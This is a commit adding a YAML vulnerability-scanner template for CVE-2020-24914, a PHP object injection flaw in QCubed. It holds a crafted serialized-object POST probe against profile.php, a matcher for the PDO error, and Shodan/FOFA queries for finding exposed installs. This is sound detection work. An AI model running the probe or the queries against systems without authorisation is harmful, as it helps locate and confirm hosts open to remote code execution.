Update CVE-2020-24914 template following review guidelines

- Fix template name format
- Add proper impact and remediation sections
- Add CVE ID and CPE classification
- Update metadata with vendor/product fields
- Add search engine queries for detection
- Add deserialization tag
- Change requests to http (proper syntax)
- Improve matchers with status code check
- Reorder references with NVD first

http/cves/2020/CVE-2020-24914.yaml

@@ -0,0 +1,52 @@
+id: CVE-2020-24914
+
+info:
+  name: QCubed 3.1.1 - PHP Object Injection
+  author: riteshs4hu
+  severity: critical
+  description: |
+    QCubed 3.1.1 and all versions contain a PHP object injection vulnerability caused by unserializing untrusted POST data in profile.php, allowing unauthenticated attackers to execute arbitrary code via crafted POST requests.
+  impact: |
+    Successful exploitation allows unauthenticated attackers to execute arbitrary PHP code on the server, potentially leading to complete system compromise.
+  remediation: |
+    Update QCubed to the latest version that addresses this vulnerability or implement proper input validation and sanitization.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-24914
+    - https://seclists.org/fulldisclosure/2021/Mar/28
+    - https://tech.feedyourhead.at/content/QCubed-PHP-Object-Injection-CVE-2020-24914
+    - https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-24914
+    cwe-id: CWE-502
+    cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: qcubed
+    product: qcubed
+    shodan-query: 'http.html:"QCubed" || http.html:"qcubed"'
+    fofa-query: 'body="QCubed" || body="qcubed"'
+  tags: cve,cve2020,qcubed,rce,deserialization
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: "intDatabaseIndex=1&strReferrer=test&strProfileData=TzozOiJQRE8iOjA6e30%3d"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "You cannot serialize or unserialize PDO instances"
+          - "PDOException"
+        condition: or
+
+      - type: status
+        status:
+          - 200